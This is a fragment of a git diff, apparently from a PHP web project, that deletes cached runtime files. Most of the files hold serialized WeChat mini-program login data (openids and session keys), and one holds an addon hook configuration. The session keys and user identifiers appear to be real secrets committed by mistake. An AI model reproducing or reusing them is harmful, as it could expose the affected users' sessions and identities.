a:3:{s:6:"openid";s:28:"oq8dE10TMPsQZCtY4XyuImZWfTLA";s:11:"session_key";s:24:"Y7NxIZeN0aBmcgRoH3UZnA==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000000000
|
||||
exit();?>
|
||||
a:11:{s:8:"app_init";a:1:{i:0;s:21:"\addons\alioss\Alioss";}s:11:"module_init";a:2:{i:0;s:21:"\addons\alioss\Alioss";i:1;s:19:"\addons\third\Third";}s:18:"upload_config_init";a:1:{i:0;s:21:"\addons\alioss\Alioss";}s:13:"upload_delete";a:1:{i:0;s:21:"\addons\alioss\Alioss";}s:16:"epay_config_init";a:1:{i:0;s:17:"\addons\epay\Epay";}s:18:"addon_action_begin";a:1:{i:0;s:17:"\addons\epay\Epay";}s:12:"action_begin";a:2:{i:0;s:17:"\addons\epay\Epay";i:1;s:19:"\addons\third\Third";}s:11:"config_init";a:2:{i:0;s:29:"\addons\summernote\Summernote";i:1;s:19:"\addons\third\Third";}s:21:"user_delete_successed";a:1:{i:0;s:19:"\addons\third\Third";}s:21:"user_logout_successed";a:1:{i:0;s:19:"\addons\third\Third";}s:11:"view_filter";a:1:{i:0;s:19:"\addons\third\Third";}}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"qt/1m86JXUeylftJNpg5SQ==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"gHHxWE6YUm+QvygXEd5eVg==";s:8:"platform";s:5:"wxapp";}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user